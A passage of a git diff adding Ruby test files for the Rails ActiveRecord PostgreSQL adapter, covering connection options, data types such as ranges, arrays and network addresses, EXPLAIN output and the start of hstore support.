+ assert_equal(nil, ByteaDataType.where(id: record.id).first.payload)
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/connection_test.rb b/activerecord/test/cases/adapters/postgresql/connection_test.rb
new file mode 100644
index 0000000..6b726ce
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/connection_test.rb
@@ -0,0 +1,163 @@
+require "cases/helper"
+
+module ActiveRecord
+ class PostgresqlConnectionTest < ActiveRecord::TestCase
+ class NonExistentTable < ActiveRecord::Base
+ end
+
+ def setup
+ super
+ @connection = ActiveRecord::Base.connection
+ @connection.extend(LogIntercepter)
+ @connection.intercepted = true
+ end
+
+ def teardown
+ @connection.intercepted = false
+ @connection.logged = []
+ end
+
+ def test_encoding
+ assert_not_nil @connection.encoding
+ end
+
+ def test_collation
+ assert_not_nil @connection.collation
+ end
+
+ def test_ctype
+ assert_not_nil @connection.ctype
+ end
+
+ def test_default_client_min_messages
+ assert_equal "warning", @connection.client_min_messages
+ end
+
+ # Ensure, we can set connection params using the example of Generic
+ # Query Optimizer (geqo). It is 'on' per default.
+ def test_connection_options
+ params = ActiveRecord::Base.connection_config.dup
+ params[:options] = "-c geqo=off"
+ NonExistentTable.establish_connection(params)
+
+ # Verify the connection param has been applied.
+ expect = NonExistentTable.connection.query('show geqo').first.first
+ assert_equal 'off', expect
+ end
+
+ def test_tables_logs_name
+ @connection.tables('hello')
+ assert_equal 'SCHEMA', @connection.logged[0][1]
+ end
+
+ def test_indexes_logs_name
+ @connection.indexes('items', 'hello')
+ assert_equal 'SCHEMA', @connection.logged[0][1]
+ end
+
+ def test_table_exists_logs_name
+ @connection.table_exists?('items')
+ assert_equal 'SCHEMA', @connection.logged[0][1]
+ end
+
+ def test_table_alias_length_logs_name
+ @connection.instance_variable_set("@table_alias_length", nil)
+ @connection.table_alias_length
+ assert_equal 'SCHEMA', @connection.logged[0][1]
+ end
+
+ def test_current_database_logs_name
+ @connection.current_database
+ assert_equal 'SCHEMA', @connection.logged[0][1]
+ end
+
+ def test_encoding_logs_name
+ @connection.encoding
+ assert_equal 'SCHEMA', @connection.logged[0][1]
+ end
+
+ def test_schema_names_logs_name
+ @connection.schema_names
+ assert_equal 'SCHEMA', @connection.logged[0][1]
+ end
+
+ # Must have with_manual_interventions set to true for this
+ # test to run.
+ # When prompted, restart the PostgreSQL server with the
+ # "-m fast" option or kill the individual connection assuming
+ # you know the incantation to do that.
+ # To restart PostgreSQL 9.1 on OS X, installed via MacPorts, ...
+ # sudo su postgres -c "pg_ctl restart -D /opt/local/var/db/postgresql91/defaultdb/ -m fast"
+ def test_reconnection_after_actual_disconnection_with_verify
+ skip "with_manual_interventions is false in configuration" unless ARTest.config['with_manual_interventions']
+
+ original_connection_pid = @connection.query('select pg_backend_pid()')
+
+ # Sanity check.
+ assert @connection.active?
+
+ puts 'Kill the connection now (e.g. by restarting the PostgreSQL ' +
+ 'server with the "-m fast" option) and then press enter.'
+ $stdin.gets
+
+ @connection.verify!
+
+ assert @connection.active?
+
+ # If we get no exception here, then either we re-connected successfully, or
+ # we never actually got disconnected.
+ new_connection_pid = @connection.query('select pg_backend_pid()')
+
+ assert_not_equal original_connection_pid, new_connection_pid,
+ "umm -- looks like you didn't break the connection, because we're still " +
+ "successfully querying with the same connection pid."
+
+ # Repair all fixture connections so other tests won't break.
+ @fixture_connections.each do |c|
+ c.verify!
+ end
+ end
+
+ def test_set_session_variable_true
+ run_without_connection do |orig_connection|
+ ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:debug_print_plan => true}}))
+ set_true = ActiveRecord::Base.connection.exec_query "SHOW DEBUG_PRINT_PLAN"
+ assert_equal set_true.rows, [["on"]]
+ end
+ end
+
+ def test_set_session_variable_false
+ run_without_connection do |orig_connection|
+ ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:debug_print_plan => false}}))
+ set_false = ActiveRecord::Base.connection.exec_query "SHOW DEBUG_PRINT_PLAN"
+ assert_equal set_false.rows, [["off"]]
+ end
+ end
+
+ def test_set_session_variable_nil
+ run_without_connection do |orig_connection|
+ # This should be a no-op that does not raise an error
+ ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:debug_print_plan => nil}}))
+ end
+ end
+
+ def test_set_session_variable_default
+ run_without_connection do |orig_connection|
+ # This should execute a query that does not raise an error
+ ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:debug_print_plan => :default}}))
+ end
+ end
+
+ private
+
+ def run_without_connection
+ original_connection = ActiveRecord::Base.remove_connection
+ begin
+ yield original_connection
+ ensure
+ ActiveRecord::Base.establish_connection(original_connection)
+ end
+ end
+
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/datatype_test.rb b/activerecord/test/cases/adapters/postgresql/datatype_test.rb
new file mode 100644
index 0000000..8c17372
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/datatype_test.rb
@@ -0,0 +1,606 @@
+require "cases/helper"
+
+class PostgresqlArray < ActiveRecord::Base
+end
+
+class PostgresqlRange < ActiveRecord::Base
+end
+
+class PostgresqlTsvector < ActiveRecord::Base
+end
+
+class PostgresqlMoney < ActiveRecord::Base
+end
+
+class PostgresqlNumber < ActiveRecord::Base
+end
+
+class PostgresqlTime < ActiveRecord::Base
+end
+
+class PostgresqlNetworkAddress < ActiveRecord::Base
+end
+
+class PostgresqlBitString < ActiveRecord::Base
+end
+
+class PostgresqlOid < ActiveRecord::Base
+end
+
+class PostgresqlTimestampWithZone < ActiveRecord::Base
+end
+
+class PostgresqlUUID < ActiveRecord::Base
+end
+
+class PostgresqlLtree < ActiveRecord::Base
+end
+
+class PostgresqlDataTypeTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ @connection.execute("set lc_monetary = 'C'")
+
+ @connection.execute("INSERT INTO postgresql_arrays (id, commission_by_quarter, nicknames) VALUES (1, '{35000,21000,18000,17000}', '{foo,bar,baz}')")
+ @first_array = PostgresqlArray.find(1)
+
+ @connection.execute <<_SQL if @connection.supports_ranges?
+ INSERT INTO postgresql_ranges (
+ date_range,
+ num_range,
+ ts_range,
+ tstz_range,
+ int4_range,
+ int8_range
+ ) VALUES (
+ '[''2012-01-02'', ''2012-01-04'']',
+ '[0.1, 0.2]',
+ '[''2010-01-01 14:30'', ''2011-01-01 14:30'']',
+ '[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'']',
+ '[1, 10]',
+ '[10, 100]'
+ )
+_SQL
+
+ @connection.execute <<_SQL if @connection.supports_ranges?
+ INSERT INTO postgresql_ranges (
+ date_range,
+ num_range,
+ ts_range,
+ tstz_range,
+ int4_range,
+ int8_range
+ ) VALUES (
+ '(''2012-01-02'', ''2012-01-04'')',
+ '[0.1, 0.2)',
+ '[''2010-01-01 14:30'', ''2011-01-01 14:30'')',
+ '[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'')',
+ '(1, 10)',
+ '(10, 100)'
+ )
+_SQL
+
+ @connection.execute <<_SQL if @connection.supports_ranges?
+ INSERT INTO postgresql_ranges (
+ date_range,
+ num_range,
+ ts_range,
+ tstz_range,
+ int4_range,
+ int8_range
+ ) VALUES (
+ '(''2012-01-02'',]',
+ '[0.1,]',
+ '[''2010-01-01 14:30'',]',
+ '[''2010-01-01 14:30:00+05'',]',
+ '(1,]',
+ '(10,]'
+ )
+_SQL
+
+ @connection.execute <<_SQL if @connection.supports_ranges?
+ INSERT INTO postgresql_ranges (
+ date_range,
+ num_range,
+ ts_range,
+ tstz_range,
+ int4_range,
+ int8_range
+ ) VALUES (
+ '[,]',
+ '[,]',
+ '[,]',
+ '[,]',
+ '[,]',
+ '[,]'
+ )
+_SQL
+
+ @connection.execute <<_SQL if @connection.supports_ranges?
+ INSERT INTO postgresql_ranges (
+ date_range,
+ num_range,
+ ts_range,
+ tstz_range,
+ int4_range,
+ int8_range
+ ) VALUES (
+ '(''2012-01-02'', ''2012-01-02'')',
+ '(0.1, 0.1)',
+ '(''2010-01-01 14:30'', ''2010-01-01 14:30'')',
+ '(''2010-01-01 14:30:00+05'', ''2010-01-01 06:30:00-03'')',
+ '(1, 1)',
+ '(10, 10)'
+ )
+_SQL
+
+ if @connection.supports_ranges?
+ @first_range = PostgresqlRange.find(1)
+ @second_range = PostgresqlRange.find(2)
+ @third_range = PostgresqlRange.find(3)
+ @fourth_range = PostgresqlRange.find(4)
+ @empty_range = PostgresqlRange.find(5)
+ end
+
+ @connection.execute("INSERT INTO postgresql_tsvectors (id, text_vector) VALUES (1, ' ''text'' ''vector'' ')")
+
+ @first_tsvector = PostgresqlTsvector.find(1)
+
+ @connection.execute("INSERT INTO postgresql_moneys (id, wealth) VALUES (1, '567.89'::money)")
+ @connection.execute("INSERT INTO postgresql_moneys (id, wealth) VALUES (2, '-567.89'::money)")
+ @first_money = PostgresqlMoney.find(1)
+ @second_money = PostgresqlMoney.find(2)
+
+ @connection.execute("INSERT INTO postgresql_numbers (id, single, double) VALUES (1, 123.456, 123456.789)")
+ @first_number = PostgresqlNumber.find(1)
+
+ @connection.execute("INSERT INTO postgresql_times (id, time_interval, scaled_time_interval) VALUES (1, '1 year 2 days ago', '3 weeks ago')")
+ @first_time = PostgresqlTime.find(1)
+
+ @connection.execute("INSERT INTO postgresql_network_addresses (id, cidr_address, inet_address, mac_address) VALUES(1, '192.168.0/24', '172.16.1.254/32', '01:23:45:67:89:0a')")
+ @first_network_address = PostgresqlNetworkAddress.find(1)
+
+ @connection.execute("INSERT INTO postgresql_bit_strings (id, bit_string, bit_string_varying) VALUES (1, B'00010101', X'15')")
+ @first_bit_string = PostgresqlBitString.find(1)
+
+ @connection.execute("INSERT INTO postgresql_oids (id, obj_id) VALUES (1, 1234)")
+ @first_oid = PostgresqlOid.find(1)
+
+ @connection.execute("INSERT INTO postgresql_timestamp_with_zones (id, time) VALUES (1, '2010-01-01 10:00:00-1')")
+
+ @connection.execute("INSERT INTO postgresql_uuids (id, guid, compact_guid) VALUES(1, 'd96c3da0-96c1-012f-1316-64ce8f32c6d8', 'f06c715096c1012f131764ce8f32c6d8')")
+ @first_uuid = PostgresqlUUID.find(1)
+ end
+
+ def teardown
+ [PostgresqlArray, PostgresqlTsvector, PostgresqlMoney, PostgresqlNumber, PostgresqlTime, PostgresqlNetworkAddress,
+ PostgresqlBitString, PostgresqlOid, PostgresqlTimestampWithZone, PostgresqlUUID].each(&:delete_all)
+ end
+
+ def test_data_type_of_array_types
+ assert_equal :integer, @first_array.column_for_attribute(:commission_by_quarter).type
+ assert_equal :text, @first_array.column_for_attribute(:nicknames).type
+ end
+
+ def test_data_type_of_range_types
+ skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
+ assert_equal :daterange, @first_range.column_for_attribute(:date_range).type
+ assert_equal :numrange, @first_range.column_for_attribute(:num_range).type
+ assert_equal :tsrange, @first_range.column_for_attribute(:ts_range).type
+ assert_equal :tstzrange, @first_range.column_for_attribute(:tstz_range).type
+ assert_equal :int4range, @first_range.column_for_attribute(:int4_range).type
+ assert_equal :int8range, @first_range.column_for_attribute(:int8_range).type
+ end
+
+ def test_data_type_of_tsvector_types
+ assert_equal :tsvector, @first_tsvector.column_for_attribute(:text_vector).type
+ end
+
+ def test_data_type_of_money_types
+ assert_equal :decimal, @first_money.column_for_attribute(:wealth).type
+ end
+
+ def test_data_type_of_number_types
+ assert_equal :float, @first_number.column_for_attribute(:single).type
+ assert_equal :float, @first_number.column_for_attribute(:double).type
+ end
+
+ def test_data_type_of_time_types
+ assert_equal :string, @first_time.column_for_attribute(:time_interval).type
+ assert_equal :string, @first_time.column_for_attribute(:scaled_time_interval).type
+ end
+
+ def test_data_type_of_network_address_types
+ assert_equal :cidr, @first_network_address.column_for_attribute(:cidr_address).type
+ assert_equal :inet, @first_network_address.column_for_attribute(:inet_address).type
+ assert_equal :macaddr, @first_network_address.column_for_attribute(:mac_address).type
+ end
+
+ def test_data_type_of_bit_string_types
+ assert_equal :string, @first_bit_string.column_for_attribute(:bit_string).type
+ assert_equal :string, @first_bit_string.column_for_attribute(:bit_string_varying).type
+ end
+
+ def test_data_type_of_oid_types
+ assert_equal :integer, @first_oid.column_for_attribute(:obj_id).type
+ end
+
+ def test_data_type_of_uuid_types
+ assert_equal :uuid, @first_uuid.column_for_attribute(:guid).type
+ end
+
+ def test_array_values
+ assert_equal [35000,21000,18000,17000], @first_array.commission_by_quarter
+ assert_equal ['foo','bar','baz'], @first_array.nicknames
+ end
+
+ def test_tsvector_values
+ assert_equal "'text' 'vector'", @first_tsvector.text_vector
+ end
+
+ def test_int4range_values
+ skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
+ assert_equal 1...11, @first_range.int4_range
+ assert_equal 2...10, @second_range.int4_range
+ assert_equal 2...Float::INFINITY, @third_range.int4_range
+ assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int4_range)
+ assert_equal nil, @empty_range.int4_range
+ end
+
+ def test_int8range_values
+ skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
+ assert_equal 10...101, @first_range.int8_range
+ assert_equal 11...100, @second_range.int8_range
+ assert_equal 11...Float::INFINITY, @third_range.int8_range
+ assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int8_range)
+ assert_equal nil, @empty_range.int8_range
+ end
+
+ def test_daterange_values
+ skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
+ assert_equal Date.new(2012, 1, 2)...Date.new(2012, 1, 5), @first_range.date_range
+ assert_equal Date.new(2012, 1, 3)...Date.new(2012, 1, 4), @second_range.date_range
+ assert_equal Date.new(2012, 1, 3)...Float::INFINITY, @third_range.date_range
+ assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.date_range)
+ assert_equal nil, @empty_range.date_range
+ end
+
+ def test_numrange_values
+ skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
+ assert_equal BigDecimal.new('0.1')..BigDecimal.new('0.2'), @first_range.num_range
+ assert_equal BigDecimal.new('0.1')...BigDecimal.new('0.2'), @second_range.num_range
+ assert_equal BigDecimal.new('0.1')...BigDecimal.new('Infinity'), @third_range.num_range
+ assert_equal BigDecimal.new('-Infinity')...BigDecimal.new('Infinity'), @fourth_range.num_range
+ assert_equal nil, @empty_range.num_range
+ end
+
+ def test_tsrange_values
+ skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
+ tz = ::ActiveRecord::Base.default_timezone
+ assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)..Time.send(tz, 2011, 1, 1, 14, 30, 0), @first_range.ts_range
+ assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 1, 1, 14, 30, 0), @second_range.ts_range
+ assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)...Float::INFINITY, @third_range.ts_range
+ assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.ts_range)
+ assert_equal nil, @empty_range.ts_range
+ end
+
+ def test_tstzrange_values
+ skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
+ assert_equal Time.parse('2010-01-01 09:30:00 UTC')..Time.parse('2011-01-01 17:30:00 UTC'), @first_range.tstz_range
+ assert_equal Time.parse('2010-01-01 09:30:00 UTC')...Time.parse('2011-01-01 17:30:00 UTC'), @second_range.tstz_range
+ assert_equal Time.parse('2010-01-01 09:30:00 UTC')...Float::INFINITY, @third_range.tstz_range
+ assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.tstz_range)
+ assert_equal nil, @empty_range.tstz_range
+ end
+
+ def test_money_values
+ assert_equal 567.89, @first_money.wealth
+ assert_equal(-567.89, @second_money.wealth)
+ end
+
+ def test_create_tstzrange
+ skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
+ tstzrange = Time.parse('2010-01-01 14:30:00 +0100')...Time.parse('2011-02-02 14:30:00 CDT')
+ range = PostgresqlRange.new(:tstz_range => tstzrange)
+ assert range.save
+ assert range.reload
+ assert_equal range.tstz_range, tstzrange
+ assert_equal range.tstz_range, Time.parse('2010-01-01 13:30:00 UTC')...Time.parse('2011-02-02 19:30:00 UTC')
+ end
+
+ def test_update_tstzrange
+ skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
+ new_tstzrange = Time.parse('2010-01-01 14:30:00 CDT')...Time.parse('2011-02-02 14:30:00 CET')
+ assert @first_range.tstz_range = new_tstzrange
+ assert @first_range.save
+ assert @first_range.reload
+ assert_equal @first_range.tstz_range, new_tstzrange
+ assert @first_range.tstz_range = Time.parse('2010-01-01 14:30:00 +0100')...Time.parse('2010-01-01 13:30:00 +0000')
+ assert @first_range.save
+ assert @first_range.reload
+ assert_equal @first_range.tstz_range, nil
+ end
+
+ def test_create_tsrange
+ skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
+ tz = ::ActiveRecord::Base.default_timezone
+ tsrange = Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0)
+ range = PostgresqlRange.new(:ts_range => tsrange)
+ assert range.save
+ assert range.reload
+ assert_equal range.ts_range, tsrange
+ end
+
+ def test_update_tsrange
+ skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
+ tz = ::ActiveRecord::Base.default_timezone
+ new_tsrange = Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0)
+ assert @first_range.ts_range = new_tsrange
+ assert @first_range.save
+ assert @first_range.reload
+ assert_equal @first_range.ts_range, new_tsrange
+ assert @first_range.ts_range = Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2010, 1, 1, 14, 30, 0)
+ assert @first_range.save
+ assert @first_range.reload
+ assert_equal @first_range.ts_range, nil
+ end
+
+ def test_create_numrange
+ skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
+ numrange = BigDecimal.new('0.5')...BigDecimal.new('1')
+ range = PostgresqlRange.new(:num_range => numrange)
+ assert range.save
+ assert range.reload
+ assert_equal range.num_range, numrange
+ end
+
+ def test_update_numrange
+ skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
+ new_numrange = BigDecimal.new('0.5')...BigDecimal.new('1')
+ assert @first_range.num_range = new_numrange
+ assert @first_range.save
+ assert @first_range.reload
+ assert_equal @first_range.num_range, new_numrange
+ assert @first_range.num_range = BigDecimal.new('0.5')...BigDecimal.new('0.5')
+ assert @first_range.save
+ assert @first_range.reload
+ assert_equal @first_range.num_range, nil
+ end
+
+ def test_create_daterange
+ skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
+ daterange = Range.new(Date.new(2012, 1, 1), Date.new(2013, 1, 1), true)
+ range = PostgresqlRange.new(:date_range => daterange)
+ assert range.save
+ assert range.reload
+ assert_equal range.date_range, daterange
+ end
+
+ def test_update_daterange
+ skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
+ new_daterange = Date.new(2012, 2, 3)...Date.new(2012, 2, 10)
+ assert @first_range.date_range = new_daterange
+ assert @first_range.save
+ assert @first_range.reload
+ assert_equal @first_range.date_range, new_daterange
+ assert @first_range.date_range = Date.new(2012, 2, 3)...Date.new(2012, 2, 3)
+ assert @first_range.save
+ assert @first_range.reload
+ assert_equal @first_range.date_range, nil
+ end
+
+ def test_create_int4range
+ skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
+ int4range = Range.new(3, 50, true)
+ range = PostgresqlRange.new(:int4_range => int4range)
+ assert range.save
+ assert range.reload
+ assert_equal range.int4_range, int4range
+ end
+
+ def test_update_int4range
+ skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
+ new_int4range = 6...10
+ assert @first_range.int4_range = new_int4range
+ assert @first_range.save
+ assert @first_range.reload
+ assert_equal @first_range.int4_range, new_int4range
+ assert @first_range.int4_range = 3...3
+ assert @first_range.save
+ assert @first_range.reload
+ assert_equal @first_range.int4_range, nil
+ end
+
+ def test_create_int8range
+ skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
+ int8range = Range.new(30, 50, true)
+ range = PostgresqlRange.new(:int8_range => int8range)
+ assert range.save
+ assert range.reload
+ assert_equal range.int8_range, int8range
+ end
+
+ def test_update_int8range
+ skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
+ new_int8range = 60000...10000000
+ assert @first_range.int8_range = new_int8range
+ assert @first_range.save
+ assert @first_range.reload
+ assert_equal @first_range.int8_range, new_int8range
+ assert @first_range.int8_range = 39999...39999
+ assert @first_range.save
+ assert @first_range.reload
+ assert_equal @first_range.int8_range, nil
+ end
+
+ def test_update_tsvector
+ new_text_vector = "'new' 'text' 'vector'"
+ assert @first_tsvector.text_vector = new_text_vector
+ assert @first_tsvector.save
+ assert @first_tsvector.reload
+ assert @first_tsvector.text_vector = new_text_vector
+ assert @first_tsvector.save
+ assert @first_tsvector.reload
+ assert_equal @first_tsvector.text_vector, new_text_vector
+ end
+
+ def test_number_values
+ assert_equal 123.456, @first_number.single
+ assert_equal 123456.789, @first_number.double
+ end
+
+ def test_time_values
+ assert_equal '-1 years -2 days', @first_time.time_interval
+ assert_equal '-21 days', @first_time.scaled_time_interval
+ end
+
+ def test_network_address_values_ipaddr
+ cidr_address = IPAddr.new '192.168.0.0/24'
+ inet_address = IPAddr.new '172.16.1.254'
+
+ assert_equal cidr_address, @first_network_address.cidr_address
+ assert_equal inet_address, @first_network_address.inet_address
+ assert_equal '01:23:45:67:89:0a', @first_network_address.mac_address
+ end
+
+ def test_uuid_values
+ assert_equal 'd96c3da0-96c1-012f-1316-64ce8f32c6d8', @first_uuid.guid
+ assert_equal 'f06c7150-96c1-012f-1317-64ce8f32c6d8', @first_uuid.compact_guid
+ end
+
+ def test_bit_string_values
+ assert_equal '00010101', @first_bit_string.bit_string
+ assert_equal '00010101', @first_bit_string.bit_string_varying
+ end
+
+ def test_oid_values
+ assert_equal 1234, @first_oid.obj_id
+ end
+
+ def test_update_integer_array
+ new_value = [32800,95000,29350,17000]
+ assert @first_array.commission_by_quarter = new_value
+ assert @first_array.save
+ assert @first_array.reload
+ assert_equal @first_array.commission_by_quarter, new_value
+ assert @first_array.commission_by_quarter = new_value
+ assert @first_array.save
+ assert @first_array.reload
+ assert_equal @first_array.commission_by_quarter, new_value
+ end
+
+ def test_update_text_array
+ new_value = ['robby','robert','rob','robbie']
+ assert @first_array.nicknames = new_value
+ assert @first_array.save
+ assert @first_array.reload
+ assert_equal @first_array.nicknames, new_value
+ assert @first_array.nicknames = new_value
+ assert @first_array.save
+ assert @first_array.reload
+ assert_equal @first_array.nicknames, new_value
+ end
+
+ def test_update_money
+ new_value = BigDecimal.new('123.45')
+ assert @first_money.wealth = new_value
+ assert @first_money.save
+ assert @first_money.reload
+ assert_equal new_value, @first_money.wealth
+ end
+
+ def test_update_number
+ new_single = 789.012
+ new_double = 789012.345
+ assert @first_number.single = new_single
+ assert @first_number.double = new_double
+ assert @first_number.save
+ assert @first_number.reload
+ assert_equal @first_number.single, new_single
+ assert_equal @first_number.double, new_double
+ end
+
+ def test_update_time
+ assert @first_time.time_interval = '2 years 3 minutes'
+ assert @first_time.save
+ assert @first_time.reload
+ assert_equal @first_time.time_interval, '2 years 00:03:00'
+ end
+
+ def test_update_network_address
+ new_inet_address = '10.1.2.3/32'
+ new_cidr_address = '10.0.0.0/8'
+ new_mac_address = 'bc:de:f0:12:34:56'
+ assert @first_network_address.cidr_address = new_cidr_address
+ assert @first_network_address.inet_address = new_inet_address
+ assert @first_network_address.mac_address = new_mac_address
+ assert @first_network_address.save
+ assert @first_network_address.reload
+ assert_equal @first_network_address.cidr_address, new_cidr_address
+ assert_equal @first_network_address.inet_address, new_inet_address
+ assert_equal @first_network_address.mac_address, new_mac_address
+ end
+
+ def test_update_bit_string
+ new_bit_string = '11111111'
+ new_bit_string_varying = '0xFF'
+ assert @first_bit_string.bit_string = new_bit_string
+ assert @first_bit_string.bit_string_varying = new_bit_string_varying
+ assert @first_bit_string.save
+ assert @first_bit_string.reload
+ assert_equal @first_bit_string.bit_string, new_bit_string
+ assert_equal @first_bit_string.bit_string, @first_bit_string.bit_string_varying
+ end
+
+ def test_invalid_hex_string
+ new_bit_string = 'FF'
+ @first_bit_string.bit_string = new_bit_string
+ assert_raise(ActiveRecord::StatementInvalid) { assert @first_bit_string.save }
+ end
+
+ def test_update_oid
+ new_value = 567890
+ assert @first_oid.obj_id = new_value
+ assert @first_oid.save
+ assert @first_oid.reload
+ assert_equal @first_oid.obj_id, new_value
+ end
+
+ def test_timestamp_with_zone_values_with_rails_time_zone_support
+ old_tz = ActiveRecord::Base.time_zone_aware_attributes
+ old_default_tz = ActiveRecord::Base.default_timezone
+
+ ActiveRecord::Base.time_zone_aware_attributes = true
+ ActiveRecord::Base.default_timezone = :utc
+
+ @connection.reconnect!
+
+ @first_timestamp_with_zone = PostgresqlTimestampWithZone.find(1)
+ assert_equal Time.utc(2010,1,1, 11,0,0), @first_timestamp_with_zone.time
+ assert_instance_of Time, @first_timestamp_with_zone.time
+ ensure
+ ActiveRecord::Base.default_timezone = old_default_tz
+ ActiveRecord::Base.time_zone_aware_attributes = old_tz
+ @connection.reconnect!
+ end
+
+ def test_timestamp_with_zone_values_without_rails_time_zone_support
+ old_tz = ActiveRecord::Base.time_zone_aware_attributes
+ old_default_tz = ActiveRecord::Base.default_timezone
+
+ ActiveRecord::Base.time_zone_aware_attributes = false
+ ActiveRecord::Base.default_timezone = :local
+
+ @connection.reconnect!
+
+ @first_timestamp_with_zone = PostgresqlTimestampWithZone.find(1)
+ assert_equal Time.utc(2010,1,1, 11,0,0), @first_timestamp_with_zone.time
+ assert_instance_of Time, @first_timestamp_with_zone.time
+ ensure
+ ActiveRecord::Base.default_timezone = old_default_tz
+ ActiveRecord::Base.time_zone_aware_attributes = old_tz
+ @connection.reconnect!
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/explain_test.rb b/activerecord/test/cases/adapters/postgresql/explain_test.rb
new file mode 100644
index 0000000..0b61f61
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/explain_test.rb
@@ -0,0 +1,28 @@
+require "cases/helper"
+require 'models/developer'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class PostgreSQLAdapter
+ class ExplainTest < ActiveRecord::TestCase
+ fixtures :developers
+
+ def test_explain_for_one_query
+ explain = Developer.where(:id => 1).explain
+ assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = 1), explain
+ assert_match %(QUERY PLAN), explain
+ assert_match %(Index Scan using developers_pkey on developers), explain
+ end
+
+ def test_explain_with_eager_loading
+ explain = Developer.where(:id => 1).includes(:audit_logs).explain
+ assert_match %(QUERY PLAN), explain
+ assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = 1), explain
+ assert_match %(Index Scan using developers_pkey on developers), explain
+ assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs" WHERE "audit_logs"."developer_id" IN (1)), explain
+ assert_match %(Seq Scan on audit_logs), explain
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/hstore_test.rb b/activerecord/test/cases/adapters/postgresql/hstore_test.rb
new file mode 100644
index 0000000..e434b48
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/hstore_test.rb
@@ -0,0 +1,200 @@
+# encoding: utf-8
+
+require "cases/helper"
+require 'active_record/base'
+require 'active_record/connection_adapters/postgresql_adapter'
+
+class PostgresqlHstoreTest < ActiveRecord::TestCase
+ class Hstore < ActiveRecord::Base
+ self.table_name = 'hstores'
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+
+ unless @connection.supports_extensions?
+ return skip "do not test on PG without hstore"
+ end
+
+ unless @connection.extension_enabled?('hstore')
+ @connection.enable_extension 'hstore'
+ @connection.commit_db_transaction
+ end
+
+ @connection.reconnect!
+
+ @connection.transaction do
+ @connection.create_table('hstores') do |t|
+ t.hstore 'tags', :default => ''
+ end
+ end
+ @column = Hstore.columns.find { |c| c.name == 'tags' }
+ end
+
+ def teardown
+ @connection.execute 'drop table if exists hstores'
+ end
+
+ def test_hstore_included_in_extensions
+ assert @connection.respond_to?(:extensions), "connection should have a list of extensions"
+ assert @connection.extensions.include?('hstore'), "extension list should include hstore"
+ end
+
+ def test_disable_enable_hstore
+ assert @connection.extension_enabled?('hstore')
+ @connection.disable_extension 'hstore'
+ assert_not @connection.extension_enabled?('hstore')
+ @connection.enable_extension 'hstore'
+ assert @connection.extension_enabled?('hstore')
+ ensure
+ # Restore column(s) dropped by `drop extension hstore cascade;`
+ load_schema
+ end
+
+ def test_column
+ assert_equal :hstore, @column.type
+ end
+
+ def test_change_table_supports_hstore
+ @connection.transaction do
+ @connection.change_table('hstores') do |t|
+ t.hstore 'users', default: ''
+ end
+ Hstore.reset_column_information
+ column = Hstore.columns.find { |c| c.name == 'users' }
+ assert_equal :hstore, column.type
+
+ raise ActiveRecord::Rollback # reset the schema change
+ end
+ ensure
+ Hstore.reset_column_information
+ end
+
+ def test_type_cast_hstore
+ assert @column
+
+ data = "\"1\"=>\"2\""
+ hash = @column.class.string_to_hstore data
+ assert_equal({'1' => '2'}, hash)
+ assert_equal({'1' => '2'}, @column.type_cast(data))
+
+ assert_equal({}, @column.type_cast(""))
+ assert_equal({'key'=>nil}, @column.type_cast('key => NULL'))
+ assert_equal({'c'=>'}','"a"'=>'b "a b'}, @column.type_cast(%q(c=>"}", "\"a\""=>"b \"a b")))
+ end
+
